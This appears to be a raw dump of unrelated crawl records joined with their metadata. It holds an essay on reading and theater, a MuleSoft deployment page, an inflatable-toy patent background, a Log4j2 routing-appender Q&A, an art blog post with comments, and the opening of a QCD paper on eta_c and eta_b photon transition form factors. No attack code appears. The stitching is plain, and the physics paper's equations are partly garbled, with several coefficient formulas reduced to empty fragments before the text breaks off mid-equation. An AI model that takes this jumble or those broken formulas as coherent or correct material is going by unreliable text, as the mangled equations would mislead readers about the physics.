In books and live theater, your own imagination is part of the storytelling. You might have a few illustrations or references to point you in a direction, but the rest of the pictures are all in your head. The set designer can place a screen door upstage, and the dialog will tell you the lake is just outside the door and down the hill, but your imagination tells you what the lake looks like, how big it is, and what the shoreline looks like on the other side. It is precisely that inclusiveness that draws us to books and live theater. Watching a movie is passive. We sit, we watch, maybe eat a snack. Books and theater are active. The pleasure that comes from reading is not scanning and interpreting the words on the page. It is the mental image conjured by those words. It is the texture and smell of the paper. Sometimes it is even the margin notes left from the last time we read the book. Seeing a play is interactive. The actors perform and the audience laughs, or cries, or applauds, or gasps, and the actors feed upon that collective energy and use it to give us even more in the next moment. It is a symbiotic relationship. We actively participate when we read or attend live theater. Art can be defined as “The conscious production or arrangement of sounds, colors, forms, movements or other elements in a manner that affects the sense of beauty, specifically the production of the beautiful.” And it is this arrangements in our own heads that make books and theater Art. | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '29', 'language_id_whole_page_fasttext': "{'en': 0.9621063470840454}", 'metadata': "{'Content-Length': '57452', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:LK7NPBD5LP2UJJORSHQJL3WM7Y5ALFPZ', 'WARC-Concurrent-To': '<urn:uuid:7c74cf52-9bc3-4ebf-ba64-02acb8f910ab>', 'WARC-Date': datetime.datetime(2020, 7, 16, 12, 29, 46), 'WARC-IP-Address': '107.180.50.9', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:7Z5STQGXVGECRX27IUM3IA556HE6IJSF', 'WARC-Record-ID': '<urn:uuid:d034b573-4c8d-4983-b547-04b9c86d96b1>', 'WARC-Target-URI': 'http://donnaforbis.com/wordpress/tag/movies/', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:eed13254-ed0d-4101-9e8e-a4a4464c1d5f>', 'WARC-Truncated': None}", 'previous_word_count': '5091', 'url': 'http://donnaforbis.com/wordpress/tag/movies/', 'warcinfo': 'isPartOf: CC-MAIN-2020-29\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for July 2020\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-10.ec2.internal\r\nsoftware: Apache Nutch 1.17 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.07113051414489746', 'original_id': '5e24013bdc5cb7ddc5a122fcce24365b650e318261b7d7a4fb3b4afaa560e86c'} |
Contact Free trial Login
Deploying Mule Runtime
Mule standalone can run multiple applications. This means you can include the same name spaces within different applications and they neither collide nor share information.
In effect, Mule is an app server. Mule checks for new apps (in the apps directory) and starts them.
Mule also restarts apps if it detects that the apps have changed, meaning you can drop a revised version of an existing, running application into the /apps directory, Mule stops the existing app and restarts using the new files.
If Mule is embedded in another container Mule Management Console cannot perform Autodiscovery or server restarts.
Deployment Topics | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '50', 'language_id_whole_page_fasttext': "{'en': 0.8678971529006958}", 'metadata': "{'Content-Length': '65616', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:NOST7UAM3UPCCGBQUF5JNKQJ6GXPJWRB', 'WARC-Concurrent-To': '<urn:uuid:a28b8f8e-49dd-46b8-b82a-51471d1db59a>', 'WARC-Date': datetime.datetime(2019, 8, 25, 19, 55, 26), 'WARC-IP-Address': '54.230.193.209', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:4EOORLZXLG4U6VFPY32FIHTRVQEIYZ3N', 'WARC-Record-ID': '<urn:uuid:e089efa3-f371-4910-8c9a-7528ad6d6315>', 'WARC-Target-URI': 'https://docs.mulesoft.com/mule-runtime/3.9/deploying', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:1b9ab1e4-d7dd-41d6-9cb1-4264b76696d8>', 'WARC-Truncated': None}", 'previous_word_count': '155', 'url': 'https://docs.mulesoft.com/mule-runtime/3.9/deploying', 'warcinfo': 'isPartOf: CC-MAIN-2019-35\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for August 2019\r\noperator: Common Crawl Admin (info@commoncrawl.org)\r\nhostname: ip-10-67-67-52.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.36614853143692017', 'original_id': 'b707a60600924de4682d5b03abdc8772111848e48ed25d13a7ff1ad0dc697c36'} |
1. Field of the Invention
The present invention relates to an inflatable play structure for use in connection with educational play. The inflatable play structure has particular utility in connection with educational play regarding piece-by-piece construction similar to the building of a conventional log cabin or house.
2. Description of the Prior Art
Inflatable play structures are desirable for amusement and educational play.
The use of inflatable play structures is known in the prior art. For example, U.S. Pat. No. 5,603,185 to Murphy discloses an inflatable enclosure for amusement purposes. However, the Murphy ""185 patent does not provide for different configurations of enclosures to be built, and has the further drawback of not providing for educational play regarding piece by piece construction similar to the building of a conventional log cabin or house.
Similarly, U.S. Pat. No. 5,471,797 to Murphy discloses an inflatable enclosure for amusement purposes. However, the Murphy ""797 patent does not provide for different configurations of enclosures to be built, and has the further drawback of not providing for educational play regarding piece by piece construction similar to the building of a conventional log cabin or house.
U.S. Pat. No. 5,678,357 to Rubio et al. discloses an interactive inflatable toy. However, the Rubio ""357 patent does not provide for different configurations of inflatable toys to be built, and additionally does not provide for educational play regarding piece by piece construction similar to the building of a conventional log cabin or house.
Similarly, U.S. Des. Pat. No. 389,217 to Rubio et al. discloses an interactive inflatable toy. However, the Rubio ""217 patent does not provide for different configurations of inflatable toys to be built, and additionally does not provide for educational regarding piece by piece construction similar to the building of a conventional log cabin or house.
U.S. Pat. No. 3,626,634 to Jones et al. discloses a construction set that allows modular piece by piece construction. However, the Jones ""634 patent requires all pieces to be connected at their ends, and therefore can not provide for the construction of a variety of configurations of play structures with windows, doors, or roofs.
Lastly, U.S. Pat. No. 6,008,938 to Suehle et al. discloses an inflatable portable projection screen. However, the Suehle ""938 patent does not provide for different configurations of inflatable structures to be built, and is not directed toward educational play.
While the above-described devices fulfill their respective, particular objectives and requirements, the aforementioned patents do not describe an inflatable play structure that allows educational play regarding piece-by-piece construction similar to the building of a conventional log cabin or house. The Jones ""634 patent makes no provision for play structures with windows, doors, or roofs.
Therefore, a need exists for a new and improved inflatable play structure that can be used for educational play regarding piece-by-piece construction similar to the building of a conventional log cabin or house. In this regard, the present invention substantially fulfills this need. In this respect, the inflatable play structure according to the present invention substantially departs from the conventional concepts and designs of the prior art, and in doing so provides an apparatus primarily developed for the purpose of educational play regarding piece by piece construction similar to the building of a conventional log cabin or house.
In view of the foregoing disadvantages inherent in the known types of inflatable play structures now present in the prior art, the present invention provides an improved inflatable play structure, and overcomes the above-mentioned disadvantages and drawbacks of the prior art. As such, the general purpose of the present invention, which will be described subsequently in greater detail, is to provide a new and improved inflatable play structure and method which has all the advantages of the prior art mentioned heretofore and many novel features that result in an inflatable play structure which is not anticipated, rendered obvious, suggested, or even implied by the prior art, either alone or in any combination thereof.
To attain this, the present invention essentially comprises an inflatable play structure comprising a plurality of inflatable tubular elements, a plurality of wall brackets, a roof bracket, and a tent-shaped roof element.
In a preferred embodiment, the present invention comprises an inflatable play structure comprising a plurality of inflatable tubular elements, each tubular element comprising an elongated flexible wall forming an enclosed gas chamber with a self sealing nozzle and a plurality of external attachments, a plurality of wall brackets, each wall bracket comprising a base member and an upwardly extending pole, a roof bracket comprising a peak member connected to two base members by poles, and a tent-shaped roof element.
In another embodiment, the present invention comprises the use of a child""s toy for forming buildings and the like comprising a series of brackets having a base member and an upwardly extending pole for the stacking of inflatable tubes held together by attachments formed by hook and loop fasteners positioned about the tube members, such that walls are formed by the system of tubes and brackets, and further comprising a specialized bracket for forming a roof structure or the like, covered by a tent-shaped fabric or plastic tarp.
There has thus been outlined, rather broadly, the more important features of the invention in order that the detailed description thereof that follows may be better understood and in order that the present contribution to the art may be better appreciated.
The invention may also include flat or pitched roofs, awnings, inflatable furniture, and multiple windows and doorways. There are, of course, additional features of the invention that will be described hereinafter and which will form the subject matter of the claims attached.
Numerous objects, features and advantages of the present invention will be readily apparent to those of ordinary skill in the art upon a reading of the following detailed description of presently preferred, but nonetheless illustrative, embodiments of the present invention when taken in conjunction with the accompanying drawings. In this respect, before explaining the current embodiment of the invention in detail, it is to be understood that the invention is not limited in its application to the details of construction and to the arrangements of the components set forth in the following description or illustrated in the drawings. The invention is capable of other embodiments and of being practiced and carried out in various ways. Also, it is to be understood that the phraseology and terminology employed herein are for the purpose of descriptions and should not be regarded as limiting.
As such, those skilled in the art will appreciate that the conception, upon which this disclosure is based, may readily be utilized as a basis for the designing of other structures, methods and systems for carrying out the several purposes of the present invention. It is important, therefore, that the claims be regarded as including such equivalent constructions insofar as they do not depart from the spirit and scope of the present invention.
It is therefore an object of the present invention to provide a new and improved inflatable play structure that has all of the advantages of the prior art inflatable play structures and none of the disadvantages.
It is another object of the present invention to provide a new and improved inflatable play structure that may be easily and efficiently manufactured and marketed.
An even further object of the present invention is to provide a new and improved inflatable play structure that has a low cost of manufacture with regard to both materials and labor, and which accordingly is then susceptible of low prices of sale to the consuming public, thereby making such inflatable play structure economically available to the buying public.
Still another object of the present invention is to provide a new inflatable play structure that provides in the apparatuses and methods of the prior art some of the advantages thereof, while simultaneously overcoming some of the disadvantages normally associated therewith.
Even still another object of the present invention is to provide an inflatable play structure for amusement and educational play. This allows the development of creativity and coordination during play activities.
Still yet another object of the present invention is to provide an inflatable play structure for educational play regarding piece by piece construction similar to the building of a conventional log cabin or house. This makes it possible to learn construction techniques and to build a wide variety of different structures during play.
Lastly, it is an object of the present invention to provide a new and improved method of educational play using an inflatable play structure comprising a plurality of inflatable tubular elements, a plurality of wall brackets, a roof bracket, and a tent-shaped roof element. | mini_pile | {'original_id': '6e3c31ae641755dcae2d1f1052ee089a7e9e4db361391b2cf43a8e39cccfc64f'} |
Q:
Log4J2 appender not logging to ThreadContext folder
I have the following Log4J2 configuration XML:
<Routing name="myAppender">
<Routes pattern="$${ctx:workId}">
<Route>
<File fileName="${my-path}/sites/${ctx:workId}/${date:yyyy-MM-dd}/${ctx:employeeId}/emp.log" name="myAppender-${ctx:workId}">
<MarkerFilter marker="TELEMETRIC" onMatch="ACCEPT" onMismatch="DENY"/>
<PatternLayout>
<Pattern>[%date{ISO8601}][%-5level][%logger{1.}][%marker][$${ctx:employeeId}] %X%m%n</Pattern>
</PatternLayout>
</File>
</Route>
</Routes>
</Routing>
<Async name="Async">
<AppenderRef ref="myAppender" level="info"/>
</Async>
However whenever the log4j2 appender writes to a file, it doesn't use the proper ${ctx:employeeId} string when it writes to the specified file path.
The first time the log4j2 appender writes to a file, it writes to the correct file path specified by ${ctx:employeeId}. But whenever information about an employee with another Id is put into the thread context, the appender is still logging to the old file path.
For example the first time the appender logs it writes to the correct path:
D:/example/logs/sites/1/2015-08-22/2/emp.log
But when the the logger is logging for the next employee Id (With a new ThreadContext) it is still logging into
D:/example/logs/sites/1/2015-08-22/2/emp.log
instead of for example:
D:/example/logs/sites/1/2015-08-22/3/emp.log
(Note the employee Id is different.)
In the log output pattern, I log the current employeeId [$${ctx:employeeId}], as well as what is in the current thread context %X. The output shows that the correct employeeId is being used and is in the ThreadContext, but the appender is not logging to that ${ctx:employeeId} file path.
Does anyone know if I am missing anything? Or if I am doing something wrong? Or is this possibly a bug with Log4j2? Thanks for any help!
A:
Well, I realize this answer comes long after the question has been asked but in case this might still help you or someone else I'll share what I've found.
First of all I'm not able to reproduce the problem, but I do have code that achieves what you want so I'm going to share my code in the hope that by looking at it you can determine where you went wrong. If not then please provide a Minimal, Complete, and Verifiable Example so that anyone trying to help you can reproduce the issue.
Here is my working code:
package pkg;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.Marker;
import org.apache.logging.log4j.MarkerManager;
import org.apache.logging.log4j.ThreadContext;
public class Log4j2DiffFilePerCtxVarMain {
private static final Marker TELEMETRIC = MarkerManager.getMarker("TELEMETRIC");
public static void main(String[] args){
Logger log = LogManager.getLogger();
ThreadContext.put("workId", "mainWorkId");
ThreadContext.put("employeeId", "mainEmployeeId");
log.info(TELEMETRIC, "Hey here's some info log from main!");
Thread t1 = new Thread(new Runnable(){
public void run(){
Logger log = LogManager.getLogger();
ThreadContext.put("workId", "thread1WorkId");
ThreadContext.put("employeeId", "thread1EmployeeId");
log.info(TELEMETRIC, "Hey here's some info log from thread1!");
}
});
t1.start();
}
}
Here is the log4j2.xml:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="WARN">
<Appenders>
<Routing name="myAppender">
<Routes pattern="$${ctx:workId}">
<Route>
<File
fileName="logs/${ctx:workId}/${date:yyyy-MM-dd}/${ctx:employeeId}/emp.log"
name="myAppender-${ctx:workId}">
<MarkerFilter marker="TELEMETRIC" onMatch="ACCEPT"
onMismatch="DENY" />
<PatternLayout>
<Pattern>[%date{ISO8601}][%-5level][%logger{1.}][%marker][$${ctx:employeeId}] %X %m%n</Pattern>
</PatternLayout>
</File>
</Route>
</Routes>
</Routing>
<Async name="Async">
<AppenderRef ref="myAppender" level="info" />
</Async>
</Appenders>
<Loggers>
<Root level="trace">
<appender-ref ref="Async" />
</Root>
</Loggers>
</Configuration>
When I run this code with this log4j2.xml I see the following results:
The first log contains this:
[2017-04-13T20:42:49,814][INFO ][p.Log4j2DiffFilePerCtxVarMain][TELEMETRIC][mainEmployeeId] {employeeId=mainEmployeeId, workId=mainWorkId} Hey here's some info log from main!
The second log contains this:
[2017-04-13T20:42:49,822][INFO ][p.Log4j2DiffFilePerCtxVarMain$1][TELEMETRIC][thread1EmployeeId] {employeeId=thread1EmployeeId, workId=thread1WorkId} Hey here's some info log from thread1!
Hope this helps!
| mini_pile | {'original_id': '68057518a9aa20dd4254c36e3f7a1af4785bc404703d8209fff0ddb53fb69c31'} |
Friday, April 18, 2008
12" x 12" Bulldog Oil on Canvas: Available
Apparently there was an earthquake this morning that shook many Michiganians awake at 5:30 am. I managed to sleep through it but found that my birds did not. There were feathers all over the place and evidence that they were quite upset early this morning. They're all fine now. I fell asleep sometime after 3:30 am. I was kept awake by howling dogs and lots of creatures stirring. It was quite unusual for this quiet country setting. I wonder if they knew something was amiss?
Lauren Alexander said...
Wow- the bulldog is amazing!
I don't know if Kansas City felt the earthquake. I sure slept through it!
Mary Hughes Studio said...
Thank you Lauren!
SavageBabble said...
He is lovely!!
I still love your birds but it's nice to see all the new subjets you have been posting, they are awesome!
Diana said...
Mary, your bulldog is breathtaking! I wasn't sure where I was looking at a photo. Wow!
I grew up in California and it's true: the animals always know first. When they would change behavior suddenly we'd always hunker down. And then the grinding sound deep in the earth would start.
Thank you for visiting my blog! It's wonderful to meet you and your art.
Best wishes,
Gail McCormack said...
Hi Mary, I just found you through Ronda's blog.
WOW WOW WOW, the bulldog is brilliant. We have an Aussie Bulldog named Guss, yes haven't they got wonderful gentle natures. My eyes nearly popped out of my head when I saw your painting, it is Guss all over again, not just the colouring....the expression the gentle, look in the eyes, your work is stunning!
Alvin Richard said...
Master painter, amazing! | dclm_baseline | {'bff_contained_ngram_count_before_dedupe': '1', 'language_id_whole_page_fasttext': "{'en': 0.9757574200630188}", 'metadata': "{'Content-Length': '134319', 'Content-Type': 'application/http; msgtype=response', 'WARC-Block-Digest': 'sha1:MDUPUWG4MI7TOJK7J2ILNBKZ7K7GA7GU', 'WARC-Concurrent-To': '<urn:uuid:a880bed4-5ede-4561-adf4-22927fc3d53d>', 'WARC-Date': datetime.datetime(2017, 9, 23, 0, 4, 42), 'WARC-IP-Address': '172.217.7.225', 'WARC-Identified-Payload-Type': 'text/html', 'WARC-Payload-Digest': 'sha1:A74EQCBUVZ2RU7FTVUAH22RE7NUXWICH', 'WARC-Record-ID': '<urn:uuid:5dd0b733-5a18-4888-beb6-3b2bbda6cc5e>', 'WARC-Target-URI': 'http://maryhughesstudio.blogspot.com/2008/04/earthquake.html', 'WARC-Type': 'response', 'WARC-Warcinfo-ID': '<urn:uuid:5aa2dc23-fe0f-4820-a79d-fa09ec9fabe2>', 'WARC-Truncated': None}", 'previous_word_count': '297', 'url': 'http://maryhughesstudio.blogspot.com/2008/04/earthquake.html', 'warcinfo': 'robots: classic\r\nhostname: ip-10-157-139-144.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-39\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for September 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf', 'fasttext_openhermes_reddit_eli5_vs_rw_v2_bigram_200k_train_prob': '0.03149282932281494', 'original_id': '84e9a632f3f06b78ba480a8948e0ed8b51410a8c14a42a04802b324a6d5b3b0e'} |
---
abstract: |
The large-$Q^2$ behavior of $\eta_c$-$\gamma$ and $\eta_b$-$\gamma$ transition form factors, $F_{\eta_c\gamma}(Q^2)$ and $F_{\eta_b\gamma}(Q^2)$ are analyzed in the framework of light-cone perturbative QCD with the heavy quark ($c$ and $b$) mass effect, the parton’s transverse momentum dependence and the higher helicity components in the light-cone wave function are respected. It is pointed out that the quark mass effect brings significant modifications to the asymptotic predictions of the transition form factors in a rather broad energy region, and this modification is much severer for $F_{\eta_b\gamma}(Q^2)$ than that for $F_{\eta_c\gamma}(Q^2)$ due to the $b$-quark being heavier than the $c$-quark. The parton’s transverse momentum and the higher helicity components are another two factors which decrease the perturbative predictions. For the transition form factor $F_{\eta_c\gamma}(Q^2)$, they bring sizable corrections in the present experimentally accessible energy region ($Q^2 \leq 10 \, {\rm GeV^2}$). For the transition form factor $F_{\eta_b\gamma}(Q^2)$, the corrections coming from these two factors are negligible since the $b$-quark mass is much larger than the parton’s average transverse momentum. The coming $e^+ e^-$ collider (LEP2) will provide the opportunity to examine these theoretical predictions.
PACS number(s): 12.38.Bx, 13.40.Gp, 14.40.Gx
author:
- Fuguang Cao and Tao Huang
---
\#1\#2\#3\#4[[\#1]{} [**\#2**]{}, \#3 (\#4)]{}
Large corrections to asymptotic $F_{\eta_c \gamma}$ and $F_{\eta_b \gamma}$ in the light-cone perturbative QCD
CCAST (World Laboratory), P.O. Box 8730, Beijing 100080, P. R. China
Institute of High Energy Physics, Academia Sinica, P.O. Box 918, Beijing 100039, P. R. China
and Institute of Theoretical Physics, Academia Sinica, P.O. Box 2735, Beijing 100080, P. R. China[^1]
Introduction
============
Among a large number of exclusive processes, neutral meson production in two-photon collision, $\gamma^* \gamma \ra P$ ($P$ being $\pi^0,\eta,\eta^\prime,\eta_c,\eta_b \ ...$) is the simplest one since two photons and one meson are involved in the initial and final states, respectively. Only one form factor named meson-photon transition form factor ($F_{P\gamma}$) is necessary to describe this class of processes. Studying $F_{P\gamma}$ provides a rather simple and rigorous way to the test of QCD and the determination of the meson wave function (non-perturbative physics) [@Brodsky]. Experimentally, a lot of collaborations (TPC/Two-Gamma [@TPC], CELLO [@CELLO] CLEO [@CLEO] and L3 [@L3] [*etc.*]{}) have measured the form factors $F_{\pi\gamma}(Q^2)$, $F_{\eta\gamma}(Q^2)$, and $F_{\eta^\prime\gamma}(Q^2)$ in the $Q^2$ region up to $9,\ 20$ and $30$ GeV$^2$, respectively, where $Q^2$ is the virtuality of the virtual photon. Although with poor statistics, the $c\bar c$ states ($\eta_c, \chi_{c0}$ and $\chi_{c2}$) productions have been observed [@Aurenche96]. In LEP2, the dominant process is $e^+ e^-\ra e^+ e^- + X
\ (\gamma\gamma\ra X)$. Considering the higher energy (the center of mass energy will reach $100$ GeV) and the higher luminosity (the cross section of this process grows like $({\rm ln} s/m^2_e)^2$ with $s$ being the invariant energy square of the incoming $e^+ e^-$ pair, whereas the annihilation cross section decrease like $s^{-1}$), LEP2 will be a good factory for the production of the heavy quarkonium production ($c\bar c$ and $b \bar b$), and will greatly stimulate theoretical studies on these processes. At present, it seems a measurement of $F_{\eta_c\gamma}$ up to about $10$ GeV$^2$ is possible [@Aurenche96]. Theoretically, there are also a lot of studies on these form factors [@Brodsky2; @Ji; @Ong; @Kroll; @Cao; @Radyushkin; @Anisovich]. In the large-$Q^2$ region, perturbative QCD can be employed as a powerful tool. The large-$Q^2$ behavior of form factors $F_{\pi^0\gamma}$, $F_{\eta\gamma}$ and $F_{\eta^\prime\gamma}$ have been studied in some detail by several authors [@Brodsky2; @Ji; @Ong; @Kroll; @Cao; @Radyushkin; @Anisovich]. Recently, the form factor $F_{\eta_c\gamma}$ has also been analyzed in the convariant perturbative theory by adopting the Breit reference frame [@Feldmann]. In this note, we present a theoretical study on the $F_{\eta_c\gamma}$ and $F_{\eta_b\gamma}$ in the framework of light-cone perturbative QCD (LCPQCD). It is pointed out that in the LCPQCD calculations of $F_{\eta_c\gamma}$ and $F_{\eta_b\gamma}$, there are two differences from that in the case of $F_{\pi^0\gamma}$, $F_{\eta\gamma}$ and $F_{\eta^\prime\gamma}$. First, compared with the light quark ($u$, $d$ and $s$) masses, the $c$- and $b$-quark masses should not be neglected in evaluating the hard scattering amplitude, while the quark masses involved in the calculation of $F_{\pi\gamma}$, $F_{\eta\gamma}$ and $F_{\eta^\prime\gamma}$ can be neglected reasonably. Second, considering the Wigner-Melosh rotation and $c$- and $b$-quark masses being large, one finds that there are contributions coming from the higher helicity components in the light-cone wave functions besides that come from the ordinary helicity components. For the $\pi$, $\eta$ and $\eta^\prime$ mesons, the contributions from the higher helicity components can also be neglected in the limit of vanishing the quark masses.
Light-cone formalism and light-cone wave function
=================================================
The light-cone (LC) formalism [@LCF] provides a convenient framework for the relativistic description of hadrons in terms of quark and gluon degrees of freedom, and the application of perturbative QCD to exclusive processes has mainly been developed in this formalism (light-cone perturbative QCD) [@LCPQCD]. In this formalism, the quantization is chosen at a particular light-cone time $\tau=t+z$. Thereby, several characters arise in this formalism: i) The hadronic wave function which describes the hadronic composite state at a particular $\tau$ is expressed in terms of a series of light-cone wave functions in Fock-state basis, for example, $$\begin{aligned}
| \pi \rangle=\sum | q \bar q \rangle \psi_{q {\bar q}/\pi}+
\sum | q \bar q g \rangle \psi_{q {\bar q} g/\pi}+\cdots,
\label{Fock}\end{aligned}$$ and the temporal evolution of the state is generated by the light-cone Hamiltonian $H_{LC}=P^-=P^0-P^3$; ii) The vacuum is very simple. The zero-particle state is the only one which has zero total $P^+$, since all quanta must have positive light-cone momentum $k_i^+$ and $P^+=\sum_i k_i^+$. The zero-particle state can’t mix with the other states which contain a certain number of particles. Hence the vacuum state in the light-cone Fock basis (Eq. \[Fock\])) is an exact eigenstate of the full Hamiltonian $H_{LC}$, and all bare quanta in a hadronic Fock state are parts of the hadron. This point does very differ from that in the equal-$t$ perturbative theory in which the quantization is performed at a given time $t$. In the equal-$t$ quantization, it is possible to make up zero-momentum state which contains some particles, since the momentum of each particle may be positive or negative, and the momentum of a composite state is the sum of the momentum of each participant particle. Thus the zero-particle state may mix with some zero-momentum states which contain particles to build up the ground state, which makes the vacuum become complex. iii) The contributions coming from higher Fock states are suppressed by $1/Q^n$, therefore one can employ only the valence state to the leading order in the large-$Q^2$ region. Light-cone perturbative QCD is very convenient for light-cone dominated processes. For the detail calculation rules we refer to literatures [@LCPQCD; @BHL].
The essential feature of light-cone PQCD applying to exclusive processes is that the amplitudes for these processes can be written as a convolution of hadron light-cone wave functions (LCWF) (or quark distribution amplitudes, DA) for each hadron involved in the process with a hard-scattering amplitude $T_H$. Both LCWF and the $T_H$ are the basic blocks for the LCPQCD calculation. It has been pointed out that the Wigner-Melosh [@Wigner-Melosh] rotation should be taken into account in order to connect the spin structures of the light-cone wave function and that of the instant-form wave function [@LCWF]. As the Wigner-Melosh rotation is respected, the light-cone wave function for the lowest valence state of $\eta_c$ ($\eta_b$) can be expressed as [@LCWF] $$\begin{aligned}
|\psi^{\eta_c(\eta_b)}_{q\overline{q}}>=
\psi(x,{\bf k}_{\perp},\uparrow,\downarrow)|\uparrow\downarrow>
+\psi(x,{\bf k}_{\perp},\downarrow,\uparrow)|\downarrow\uparrow>
\nonumber \\
+\psi(x,{\bf k}_{\perp},\uparrow,\uparrow)|\uparrow\uparrow>
+\psi(x,{\bf k}_{\perp},\downarrow,\downarrow)|\downarrow\downarrow>,
\label{eq:pwf}\end{aligned}$$ where $$\psi(x,{\bf k}_{\perp},\lambda_{1},\lambda_{2})=
C^{F}_{0}(x,{\bf k}_{\perp},\lambda_{1},\lambda_{2})
\varphi(x,{\bf k}_{\perp}).$$ Here $\varphi(x,{\bf k}_{\perp})$ is the momentum space wave function in the light-cone formalism. The coefficients $C_0^F(x,{\bf k}_{\perp},\lambda_{1},\lambda_{2})$ which result from the considering of the Wigner-Melosh rotation turn out to be [@LCWF] C\_0\^F(x,[**k**]{}\_,,)&=& ;\
C\_0\^F(x,[**k**]{}\_,,)&=& -;\
C\_0\^F(x,[**k**]{}\_,,)&=& -; \[coefficient2\]\
C\_0\^F(x,[**k**]{}\_,,)&=& -. where $m$ is the $c$- ($b$-) quark mass for $\eta_c$ ($\eta_b$), and ${\bf k}_\bot$ is the quark transverse momentum. $C_0^F$ satisfy the relation \_[\_1,\_2]{}C\_0\^F(x,[**k**]{}\_,\_1,\_2) C\_0\^F(x,[**k**]{}\_,\_1,\_2)=1. One character of the light-cone wave function is that there are higher helicity ($\lambda_1+\lambda_2=\pm 1$) components besides the ordinary helicity ($\lambda_1+\lambda_2=0$) components, while the instant-form wave function has only the ordinary helicity components. The above result means that the light-cone spin of a composite particle is not directly the sum of its constituents’ light-cone spins but the sum of Wigner rotated light-cone spins of the individual constituents. A natural consequence is that in light-cone formalism a hadron’s helicity is not necessarily equal to the sum of the quark’s helicities, [*i.e.*]{}, $\lambda_{H}\neq \sum_{i} \lambda_{i}$. This result has been employed in the studies of several processes: the proton “spin puzzle” [@crisis], proton’s structure, the ratio $F_2^n/F_2^p$, the proton, neutron, and deuteron polarization asymmetries, $A_1^p$, $A_1^n$, $A_1^d$ [*etc.*]{} [@others].
The meson-photon transition form factors $F_{\eta_c \gamma}$ and $F_{\eta_b \gamma}$
====================================================================================
In the following, we first analyze the $\eta_c$-$\gamma$ transition form factor $F_{\eta_c \gamma}$. The analysis for $F_{\eta_b \gamma}$ can be obtained in a similar way. The $\eta_c$-$\gamma$ transition form factor $F_{\eta_c \gamma}$ is extracted from the $\eta_c \gamma \gamma^\ast$ vertex, $$\begin{aligned}
\Gamma_\mu =- i e^2 F_{\eta_c \gamma} \epsilon_{\mu \nu \alpha \beta}
p^\nu_{\eta_c} \epsilon^\alpha q^\beta,\end{aligned}$$ where $p_{\eta_c}$ and $q$ are the momenta of the $\eta_c$ meson and the virtual photon respectively, and $\epsilon$ is the polarization vector of the on-shell photon. In the standard “infinite-momentum" frame [@Brodsky], the momentum assignment can been written as $$\begin{aligned}
p_{\eta_c}&=&(p^+,p^-,p_\bot)=(1,m_{\eta_c}^2,0_\bot),\nonumber \\
q&=&(0,q_\bot^2-m_{\eta_c}^2,q_\bot), \\
q^\prime&=&(1,q_\bot^2,q_\bot), \nonumber\end{aligned}$$ where $p^+$ is arbitrary, and $q^\prime$ is the momentum of the final (on-shell) photon. For simplicity we choose $p^+=1$, and we have $q^2=-q_\bot^2=-Q^2$. Then the $F_{\eta_c \gamma}$ is given by $$\begin{aligned}
F_{\eta_c \gamma}(Q^2)=\frac{\Gamma^+}{-i e (\epsilon_\bot \times q_\bot)},\end{aligned}$$ where $\epsilon=(0,0,\epsilon_\bot)$ and $\epsilon_\bot \cdot q_\bot=0$ is chosen.
The contribution coming from the ordinary helicity components ($\lambda_1+\lambda_2=0$) turns out to be $$\begin{aligned}
F^{(\lambda_1+\lambda_2=0)}_{\eta_c \gamma}(Q^2)
&=&\frac{\sqrt{n_c}e_c^2}{i(\epsilon_\bot \times
q_\bot)}\int_0^1[{\rm d}x] \int_0^\infty \frac{{\rm d}^2 k_\bot}{16 \pi^3}
\frac{m_c}{\sqrt{m_c^2+k_\bot^2}}\psi(x_i,k_\bot) \nonumber \\
&~~~~\times& \left[\frac{\bar v_\downarrow (x_2,-k_\bot)}
{\sqrt{x_2}}\rlap /\epsilon
\frac{u_\uparrow (x_1,k_\bot+q_\bot)}{\sqrt{x_1}}
\frac{\bar u_\uparrow (x_1,k_\bot+q_\bot)}{\sqrt{x_1}}
\gamma^+
\frac{u_\uparrow (x_1,k_\bot)}{\sqrt{x_1}}
\frac{1}{D} + (1 \leftrightarrow 2) \right],
\label{spinor}\end{aligned}$$ where $[{\rm d} x]= {\rm d}x_1 {\rm d}x_2 \delta(1-x_1-x_2),$ $e_c$ is the $c$-quark charge in unit of $e$, and $D$ is the “energy-denominator", $$\begin{aligned}
D&=&q_\bot^2-\frac{(q_\bot+k_\bot)^2+m_c^2}{x_1}
-\frac{k_\bot^2+m_c^2}{x_2} \nonumber\\
